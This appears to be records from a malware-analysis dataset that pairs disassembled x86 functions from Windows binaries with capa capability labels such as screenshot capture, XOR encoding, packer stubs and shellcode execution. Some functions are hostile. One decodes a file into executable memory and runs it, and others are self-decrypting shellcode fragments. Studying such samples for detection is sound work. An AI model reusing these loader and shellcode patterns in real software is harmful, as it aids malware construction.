joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45f960
Capabilities:
Capture screenshot

Disassembly:
mov eax, 0x40
call fcn.00475160
push ebx
push ebp
push esi
push edi
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ebx, eax
push 8
push edi
mov dword [esp + 0x18], ebx
call esi
mov ebp, eax
push 0xa
push edi
mov dword [esp + 0x20], ebp
call esi
push 0x10
push ebp
push edi
mov dword [esp + 0x20], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov esi, eax
push esi
push ebx
mov dword [esp + 0x24], esi
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x38]
push eax
push 0x18
push esi
call dword [sym.imp.GDI32.dll_GetObjectA]
mov esi, dword [esp + 0x48]
push 0x2a9
and esi, 0xffff
push 0x4cc518
imul esi, dword [esp + 0x48]
imul esi, dword [esp + 0x4c]
push esi
call fcn.00460b30
mov ebp, eax
add esp, 0xc
test ebp, ebp
je 0x45fa6f
mov ecx, dword [esp + 0x14]
xor ebx, ebx
lea eax, [ecx - 0x10]
test eax, eax
mov dword [esp + 0x14], eax
jle 0x45fa62
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
push 0xcc0020
push ebx
push 0
push edi
push 0x10
push edx
push 0
push 0
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x1c]
push ebp
push esi
push ecx
call dword [sym.imp.GDI32.dll_GetBitmapBits]
lea edx, [esp + 0x24]
push edx
push esi
push ebp
call fcn.00461ce0
lea eax, [esp + 0x30]
push 0x14
push eax
call fcn.00461c50
mov eax, dword [esp + 0x28]
add ebx, 0x10
add esp, 0x14
cmp ebx, eax
jl 0x45fa10
push ebp
call fcn.00460bf0
mov ebx, dword [esp + 0x14]
add esp, 4
mov ecx, dword [esp + 0x20]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x40
ret

Function at 0x461040
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x5c], ecx
ret

Function at 0x475eca
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x475eea
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00478b54
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x475f0d
test byte [esp + 8], 2
je 0x475f0d
call fcn.00478bc7
mov dword [eax], 0xd
call fcn.00478bd0
mov dword [eax], 5
jmp 0x475ee6
xor eax, eax
ret
Function at 0x47f0f6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4f7020
cmp edx, dword [eax]
je 0x47f118
add eax, 8
inc ecx
cmp eax, 0x4f70b0
jl 0x47f109
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4f7020]
jne 0x47f246
mov eax, dword [0x503f5c]
cmp eax, 1
je 0x47f220
test eax, eax
jne 0x47f149
cmp dword [0x4f64c4], 1
je 0x47f220
cmp edx, 0xfc
je 0x47f246
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x47f180
lea eax, [ebp - 0x1a4]
push 0x4d35b0
push eax
call fcn.0047c2e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00478a10
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x47f1c3
lea eax, [ebp - 0x1a4]
push eax
call fcn.00478a10
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4eeda8
push edi
call fcn.00476470
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4d3594
push eax
call fcn.0047c2e0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0047c2f0
lea eax, [ebp - 0xa0]
push 0x4d3590
push eax
call fcn.0047c2f0
push dword [esi + 0x4f7024]
lea eax, [ebp - 0xa0]
push eax
call fcn.0047c2f0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4d3568
push eax
call fcn.00480e22
add esp, 0x2c
pop edi
jmp 0x47f246
lea eax, [ebp + 8]
lea esi, [esi + 0x4f7024]
push 0
push eax
push dword [esi]
call fcn.00478a10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x484d90
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0xb4
call fcn.00475160
push ebx
push ebp
push esi
mov esi, dword [esp + 0xc4]
push edi
mov edi, dword [esp + 0xcc]
mov eax, dword [esi]
mov dword [esp + 0x10], edi
mov dword [esp + 0x18], eax
mov ecx, dword [eax + 4]
mov eax, edi
dec eax
je 0x484de3
dec eax
je 0x484dc6
jmp fcn.00477d36
mov ebp, dword [esp + 0xd0]
lea eax, [esp + 0x24]
lea edx, [esp + 0x34]
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], edx
mov dword [esp + 0x3c], ebp
jmp 0x484dfe
mov ebp, dword [esp + 0xd0]
lea eax, [esp + 0x78]
lea edx, [esp + 0x50]
mov dword [esp + 0x14], eax
mov dword [esp + 0x78], edx
mov dword [esp + 0x64], ebp
lea eax, [esp + 0x10]
push eax
push ecx
call fcn.00466660
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x484e9c
mov esi, dword [esi + 4]
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx + 8]
test eax, eax
je 0x484e28
mov ecx, dword [eax]
jmp 0x484e2b
or ecx, 0xffffffff
cmp esi, ecx
jge 0x484e7d
push esi
push eax
call fcn.004660d0
mov ecx, dword [eax + 8]
add esp, 8
test ecx, ecx
je 0x484e61
mov ecx, dword [ecx + 0x18]
test ecx, ecx
je 0x484e61
mov edx, dword [eax + 4]
test edx, edx
jne 0x484e61
lea edx, [esp + 0x1c]
push edx
push ebp
push edi
push eax
call ecx
add esp, 0x10
test eax, eax
jl 0x484e64
jne 0x484e79
inc esi
jmp 0x484e19
mov ecx, dword [esp + 0xc8]
pop edi
pop esi
pop ebp
mov dword [ecx + 4], eax
pop ebx
add esp, 0xb4
ret
lea ebx, [esp + 0x1c]
mov edx, dword [esp + 0xc8]
test ebx, ebx
mov dword [edx + 4], 0
jne 0x484e9c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xb4
ret
mov eax, dword [esp + 0xd4]
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + 4]
mov dword [eax + 4], ecx
mov eax, dword [eax]
dec eax
je 0x484ec8
dec eax
jne 0x484ee2
push 0x150
push str..cryptox509x509_lu.c
push 6
push 1
add ecx, 0xc
jmp 0x484ed9
push 0x14d
push str..cryptox509x509_lu.c
push 3
push 1
add ecx, 0x10
push ecx
call fcn.004610d0
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xb4
ret

Function at 0x488f30
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x58], ecx
ret
Function at 0x4aabf0
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push edi
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x4aac20
push edi
call ebx
push eax
call fcn.004aadf6
push esi
mov esi, dword [ebp + 0xc]
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
je 0x4aac4a
test byte [ebp - 4], 1
je 0x4aac4a
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x4aac4a
push edi
call ebx
push eax
call fcn.004aadf6
cmp dword [esi + 4], edi
lea eax, [esi + 4]
je 0x4aacf0
lea ecx, [ebp - 0x24]
push ecx
push eax
call fcn.004aab3d
cmp dword [esi + 8], edi
lea eax, [esi + 8]
pop ecx
pop ecx
je 0x4aac7c
lea ecx, [ebp - 0x14]
push ecx
push eax
call fcn.004aab3d
pop ecx
lea eax, [ebp - 0x14]
pop ecx
mov dword [ebp - 8], eax
cmp dword [esi], edi
je 0x4aac92
lea eax, [ebp - 0x1c]
push eax
push esi
call fcn.004aab3d
pop ecx
lea eax, [ebp - 0x1c]
pop ecx
mov dword [ebp - 0xc], eax
push edi
push 0x80
push 3
push edi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4aacbc
push 0
call ebx
push eax
call fcn.004aadf6
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x4aacda
push eax
call ebx
push eax
call fcn.004aadf6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x4aacee
push eax
call ebx
push eax
call fcn.004aadf6
xor edi, edi
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
pop esi
je 0x4aad17
test byte [ebp - 4], 1
jne 0x4aad17
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x4aad17
push edi
call ebx
push eax
call fcn.004aadf6
pop edi
pop ebx
leave
ret 8

Function at 0x4ab358
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x4ab37a
cmp dword [edi + 0x3c], 0
jne 0x4ab37a
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.004b6174
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.004ab3a7
pop edi
pop esi
pop ebx
ret 8
Function at 0x4acaaf
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4acae7
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004aa07a
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004aa052
jmp 0x4acaf3
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4acaf7
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
push 0x501fd8
mov ecx, edi
call fcn.004a9d5c
cmp dword [esi + 0x34], 0
push dword [esp + 0xc]
jne 0x4acb4a
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
test esi, esi
je 0x4acb5d
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, edi
call fcn.004aa07a
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, edi
call fcn.004aa052
jmp 0x4acb5d
mov ecx, esi
call fcn.004aea37
test eax, eax
je 0x4acb5d
push edi
mov ecx, eax
call fcn.004acaaf
mov eax, dword [edi]
pop edi
pop esi
mov eax, dword [eax - 8]
ret 8

Function at 0x4ae2f4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4ae336
call fcn.004b6174
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4ae336
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4ae32d
xor eax, eax
jmp 0x4ae33e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004ae344
pop edi
pop esi
pop ebx
ret 4

Function at 0x4b6e13
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4b6e41
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4b6e5f
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004b6d79
jmp 0x4b6e5f
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4b6e5f
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004b6d79
test edi, edi
mov eax, edi
jne 0x4b6e49
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x42e006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x1c206081
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e0d2
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6c5c6cfe
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x405675
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4056b4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4056b4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4056b4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4056b4
cmp dword [ecx + 0x74], 0xe
jbe 0x4056b4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4080d4
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x408171
push ebx
push esi
call fcn.0040809d
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00408033
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40811e
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408170
push edi
push eax
call fcn.00406260
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40813e
call fcn.00406210
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40816f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00408033
add esp, 0x20
test eax, eax
jne 0x40815d
push edi
call fcn.00406210
jmp 0x408165
push ebx
call fcn.00406210
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x427432
Capabilities:
Encode data using xor

Disassembly:
pop ebp
clc
pushal
lea edi, [ebp + 0x42]
mov si, 0x256
cld
mov cl, byte [edi]
xor cl, 0x59
rol cl, 0xc4
xor cl, 0x18
mov byte [edi], cl
inc edi
dec si
jne 0x42743d
jmp 0x427495
fmul st(0)
fdivr dword [esi + 0x7d0c6bc0]
invalid
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x7ffe54a4
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
call 0x7ffe54af
pop edx
xor dx, dx
add edx, 0xd5e0
xor ecx, ecx
mov cl, 0x1e
xor byte [ecx + edx], 0x1d
loop 0x7ffe54bd
push dword fs:[0x24]
pop dword [edx + 0xa]
mov cl, 0xff
push edx
loop 0x7ffe54cf
mov dword [edx + 0x11], 0xffffacbb
mov ecx, dword [eax + 0x2c]
mov dword [edx + 0x1b], ecx
mov dword [edx + 0x100], ecx
mov dword [eax + 0x2c], esp
push 0
push 0
push 0
push 0
push 0x30
push 0x20
push 0
push 0
add edx, 0xffff7f37
push edx
push edx
push 0
call dword [edx + 0x820c]
add esp, 0x3f8
xor eax, eax
cld
inc eax
ret 0xc

Function at 0x7ffe9c50
Capabilities:
Encode data using xor

Disassembly:
and ecx, dword [ecx]
sbb dword [ebp + 0x41200b1f], ecx
pop es
or ebx, dword [esi]
cmp al, 0x2d
add ebx, dword [edx]
cmp al, byte es:[eax + 0x2a]
xor eax, 0xd351c13
or eax, dword [0x10110f0b]
cmp ebx, dword [eax]
cmp dword ds:[esi], eax
cmp ebx, dword [edx]
sub ecx, dword [0x1f170d05]
add edx, dword [ecx]
adc byte [edi], bh
pop es
adc bh, byte [edx]
xor eax, 0x337381e
add eax, 0x122d101d
jo 0x7ffe9c12
and dword [ebp + 0x2f155f12], ebp
and eax, 0xdf0c4bba
cmp dword [esi + 0xa3f7e72], esp
xor esi, dword [eax]
test al, 0xb7
invalid
Function at 0x401990
Capabilities:
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x44301c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x444ecc], 0
jne 0x4019c3
call fcn.00401be0
movzx eax, al
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00417848
mov esp, ebp
pop ebp
ret
push esi
push edi
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], 0
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x214]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x208
mov esi, eax
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.004196a0
add esp, 0xc
test esi, esi
je 0x401bc7
lea eax, [ebp - 0x218]
mov dword [ebp - 0x218], 0x104
push eax
lea eax, [ebp - 0x20c]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
lea eax, [ebp - 0x20c]
push 0x43dbec
push eax
call fcn.0041c4e0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x401bc7
push esi
call fcn.0041cf4c
push eax
call fcn.0041c609
mov edi, eax
add esp, 8
test edi, edi
js 0x401bbe
cmp edi, 0x40
jl 0x401bbe
push esi
push 2
lea eax, [ebp - 0x210]
push 1
push eax
call fcn.0041d14c
add esp, 0x10
cmp eax, 2
jne 0x401bbe
mov eax, 0x5a4d
cmp word [ebp - 0x210], ax
jne 0x401bbe
push 0
push 0x3c
push esi
call fcn.0041cd26
add esp, 0xc
test eax, eax
jne 0x401bbe
push esi
push 2
lea eax, [ebp - 0x210]
push 1
push eax
call fcn.0041d14c
add esp, 0x10
cmp eax, 2
jne 0x401bbe
movzx ecx, word [ebp - 0x210]
lea eax, [ecx + 6]
cmp edi, eax
jl 0x401bbe
push 0
push ecx
push esi
call fcn.0041cd26
add esp, 0xc
test eax, eax
jne 0x401bbe
push esi
push 2
lea eax, [ebp - 0x210]
push 1
push eax
call fcn.0041d14c
add esp, 0x10
cmp eax, 2
jne 0x401bbe
mov eax, 0x4550
cmp word [ebp - 0x210], ax
jne 0x401bbe
push 1
push 2
push esi
call fcn.0041cd26
add esp, 0xc
test eax, eax
jne 0x401bbe
push esi
push 2
lea eax, [ebp - 0x210]
push 1
push eax
call fcn.0041d14c
add esp, 0x10
cmp eax, 2
jne 0x401bbe
push esi
call fcn.0041c820
movzx eax, word [ebp - 0x210]
add esp, 4
cmp eax, 0x14c
je 0x401ba9
cmp eax, 0x8664
je 0x401b94
cmp eax, 0xaa64
jne 0x401bc7
pop edi
mov eax, 3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00417848
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00417848
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00417848
mov esp, ebp
pop ebp
ret
push esi
call fcn.0041c820
add esp, 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00417848
mov esp, ebp
pop ebp
ret